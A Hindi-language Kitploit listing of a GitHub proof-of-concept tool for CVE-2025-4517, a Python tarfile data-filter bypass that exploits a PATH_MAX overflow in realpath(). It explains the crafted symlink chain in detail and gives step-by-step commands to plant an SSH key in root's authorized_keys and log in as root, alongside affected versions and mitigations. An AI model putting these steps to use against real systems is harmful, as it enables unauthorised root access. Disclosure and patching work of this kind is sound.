Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-4517-tarfile-PATH_MAX-bypass — Python tarfile डेटा फ़िल्टर बाईपास, os.path.realpath() में PATH_MAX ओवरफ़्लो के माध्यम से - CVE-2025-4517 / CVE-2025-4330 | Kitploit
उपकरण/GitHubGitHub/0xdtc/cve-2025-4517-tarfile-path_max-bypass
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHub0xdtc/cve-2025-4517-tarfile-path_max-bypass

CVE-2025-4517-tarfile-PATH_MAX-bypass

Python tarfile डेटा फ़िल्टर बाईपास, os.path.realpath() में PATH_MAX ओवरफ़्लो के माध्यम से - CVE-2025-4517 / CVE-2025-4330

रिपॉजिटरी देखें
816 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-4517 / CVE-2025-4330 — Python tarfile डेटा फ़िल्टर बाईपास PATH_MAX ओवरफ़्लो द्वारा

लेखक: 0xDTC सीवीई: CVE-2025-4517 / CVE-2025-4330 परामर्श: GHSA-6r6c-684h-9j7p CPython सुधार: PR #135037

अवलोकन

Python का tarfile.extractall(filter="data") पथ ट्रैवर्सल (पूर्ण पथ, .. अनुक्रम, और गंतव्य से बाहर निकलने वाले सिमलिंक) को रोककर टार आर्काइव को सुरक्षित रूप से निकालने के लिए माना जाता है। हालाँकि, os.path.realpath(strict=False) में एक बग इस फ़िल्टर को पूरी तरह बाईपास करने की अनुमति देता है।

जब हल किया गया पथ PATH_MAX (Linux पर 4096 बाइट्स) से अधिक हो जाता है, तो चुपचाप सिमलिंक को हल करना बंद कर देता है और पर वापस आ जाता है। इसका मतलब है कि एक सावधानीपूर्वक तैयार की गई सिमलिंक श्रृंखला Python को यह सोचने पर मजबूर कर सकती है कि एक सिमलिंक निष्कर्षण निर्देशिका के अंदर हल होता है, जबकि वास्तव में यह तक बच जाता है।

os.path.realpath()
स्ट्रिंग हेरफेर
/

प्रभावित संस्करण

शाखाप्रभावितसुधारित
3.12.x3.12.0 – 3.12.103.12.11
3.13.x3.13.0 – 3.13.33.13.4
3.14.x3.14.0a1 – 3.14.0a73.14.0b1

यह कैसे काम करता है

एक्सप्लॉइट एक टार आर्काइव बनाता है जिसमें शामिल होता है:

  1. 16 निर्देशिका/सिमलिंक जोड़े — प्रत्येक निर्देशिका का नाम ~240 वर्णों का होता है, जिसमें एक छोटा (1-वर्ण) सिमलिंक उसकी ओर इशारा करता है
  2. एक 254-वर्ण का एस्केप सिमलिंक — छोटी श्रृंखला के अंत में रखा गया, 16 स्तर पीछे की ओर इशारा करता है
  3. एक "एस्केप" सिमलिंक — श्रृंखला को पार करता है और PATH_MAX से अधिक हो जाता है, realpath को धोखा देता है
  4. एक नियमित फ़ाइल — एस्केप सिमलिंक के माध्यम से निष्कर्षण निर्देशिका के बाहर एक मनमाने स्थान पर लिखी जाती है

मुख्य अंतर्दृष्टि: a/b/c/.../p को छोटे सिमलिंक के माध्यम से फॉलो करना PATH_MAX के अंदर रहता है, लेकिन realpath प्रत्येक को ~240-वर्ण के वास्तविक निर्देशिका नाम में विस्तारित करता है। जब तक यह 254-वर्ण के लिंक नाम पर पहुँचता है, हल किया गया पथ 4096 बाइट्स से अधिक हो जाता है और realpath हार मान लेता है — चुपचाप एक गलत परिणाम लौटाता है।

डेटा प्रवाह आरेख

root@kitploit:~
flowchart TD
    A["हमलावर दुर्भावनापूर्ण tar बनाता है"] --> B["tar में शामिल:
    16 dir/symlink जोड़े
    254-वर्ण एस्केप सिमलिंक
    'एस्केप' सिमलिंक / की ओर
    पेलोड फ़ाइल"]

    B --> C["लक्ष्य निकालता है
    tarfile.extractall(filter='data') के साथ"]

    C --> D{"Python सिमलिंक हल करता है
    os.path.realpath() के माध्यम से"}

    D --> E["छोटे सिमलिंक a→ddd...d को फॉलो करता है
    हल किया गया पथ प्रत्येक चरण के साथ बढ़ता है"]

    E --> F{"हल किए गए पथ की लंबाई
    > PATH_MAX (4096)?"}

    F -->|"नहीं (सामान्य)"| G["realpath सही ढंग से हल करता है
    फ़िल्टर द्वारा सिमलिंक अवरुद्ध ✓"]

    F -->|"हाँ (ओवरफ़्लो!)"| H["realpath हल करना बंद कर देता है
    स्ट्रिंग हेरफेर पर वापस आ जाता है"]

    H --> I["Python सोचता है कि सिमलिंक
    निष्कर्षण निर्देशिका के अंदर हल होता है"]

    I --> J["फ़िल्टर सिमलिंक को पास कर देता है ✗"]

    J --> K["OS सिमलिंक को सही ढंग से फॉलो करता है
    'एस्केप' / पर हल होता है"]

    K --> L["पेलोड डिस्क पर मनमानी फ़ाइल में लिखा जाता है"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

हमला अनुक्रम

root@kitploit:~
sequenceDiagram
    participant A as हमलावर मशीन
    participant T as लक्ष्य मशीन

    Note over A: चरण 1 — तैयारी
    A->>A: SSH कुंजी जोड़ी उत्पन्न करें (ssh-keygen)
    A->>A: एक्सप्लॉइट चर कॉन्फ़िगर करें<br/>(DEST_DIR, DEPTH_TO_ROOT, आदि)
    A->>A: CVE-2025-4517.py या .go चलाएँ<br/>दुर्भावनापूर्ण tar उत्पन्न करने के लिए

    Note over A,T: चरण 2 — वितरण
    A->>T: दुर्भावनापूर्ण tar को लक्ष्य पर स्थानांतरित करें<br/>(scp, wget, curl, ftp, आदि)
    T->>T: tar को संवेदनशील स्क्रिप्ट द्वारा सुलभ<br/>स्थान पर रखें

    Note over T: चरण 3 — शोषण
    T->>T: संवेदनशील Python स्क्रिप्ट के माध्यम से<br/>निष्कर्षण ट्रिगर करें
    T->>T: Python tarfile.extractall(filter="data") कॉल करता है

    Note over T: Python क्या देखता है बनाम वास्तविकता
    T->>T: realpath() PATH_MAX पर ओवरफ़्लो होता है
    T->>T: फ़िल्टर सोचता है "एस्केप" सिमलिंक सुरक्षित है
    T->>T: OS "एस्केप" को फॉलो करता है → / पर हल होता है
    T->>T: पेलोड /root/.ssh/authorized_keys में लिखा जाता है

    Note over A,T: चरण 4 — पहुँच
    A->>T: लिखी गई कुंजी का उपयोग करके root के रूप में SSH
    T-->>A: रूट शेल प्राप्त हुआ

टार आर्काइव संरचना

root@kitploit:~
graph LR
    subgraph "टार सदस्य (क्रम में निकाले गए)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 स्तर..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 एस्केप<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 एस्केप/root/.ssh/authorized_keys<br/>(पेलोड सामग्री)"]
    end

    S1 -.->|"छोटा पथ<br/>छोटा रहता है"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 वर्ण PATH_MAX को<br/>पार कर देते हैं"| S5
    S5 -.->|"/ पर हल होता है"| F1

उपयोग

कॉन्फ़िगरेशन

दोनों स्क्रिप्ट्स में शीर्ष पर एक कॉन्फ़िगरेशन अनुभाग है जिसमें ये चर हैं:

चरविवरणउदाहरण
DEST_DIRलक्ष्य पर निष्कर्षण निर्देशिका का पूरा पथ/tmp/staging/extract_dir/
DEPTH_TO_ROOT/ से DEST_DIR तक निर्देशिकाओं की संख्या4 के लिए /opt/app/staging/dir/
TARGET_FILE/ के सापेक्ष लिखने की फ़ाइलroot/.ssh/authorized_keys
PAYLOADलक्ष्य फ़ाइल में लिखने की सामग्रीआपकी SSH सार्वजनिक कुंजी
OUTPUTआउटपुट टार फ़ाइल नामलक्ष्य के अपेक्षित पैटर्न से मेल खाना चाहिए

हमलावर मशीन

विकल्प A: Python

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Generate the malicious tar
python3 CVE-2025-4517.py

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

विकल्प B: Go

root@kitploit:~
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output

# 3. Generate the malicious tar
go run CVE-2025-4517.go

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

लक्ष्य मशीन

root@kitploit:~
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

पोस्ट-एक्सप्लॉइटेशन

root@kitploit:~
# SSH as root using the planted key
ssh -i root_key root@target

DEPTH_TO_ROOT की गणना

/ से आपके निष्कर्षण पथ तक निर्देशिकाओं की संख्या गिनें:

root@kitploit:~
/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3
root@kitploit:~
/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5
root@kitploit:~
/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

संवेदनशील कोड पैटर्न

कोई भी Python स्क्रिप्ट जो प्रभावित संस्करण पर tarfile.extractall() का उपयोग filter="data" के साथ करती है, संभावित रूप से शोषणीय है:

root@kitploit:~
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNERABLE

filter="data" को टार पथ ट्रैवर्सल हमलों को रोकने के लिए एक सुरक्षा उपाय के रूप में पेश किया गया था। विडंबना यह है कि भेद्यता उसी तंत्र (os.path.realpath) में मौजूद है, जिस पर फ़िल्टर सिमलिंक लक्ष्यों को मान्य करने के लिए निर्भर करता है।

शमन

  • Python को अपग्रेड करें 3.12.11+, 3.13.4+, या 3.14.0b1+ में
  • अविश्वसनीय टार आर्काइव निकालने से बचें फ़िल्टर सेटिंग्स की परवाह किए बिना
  • निष्कर्षण के बाद निकाली गई फ़ाइल पथों पर अतिरिक्त सत्यापन का उपयोग करें

संदर्भ

  • CVE-2025-4517 - NVD
  • CVE-2025-4330 - Wiz Vulnerability Database
  • GHSA-6r6c-684h-9j7p - GitHub Advisory
  • CPython PR #135037 - Fix

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, शैक्षिक उद्देश्यों और अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम में अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।

लाइसेंस

MIT

टूल डाउनलोड करें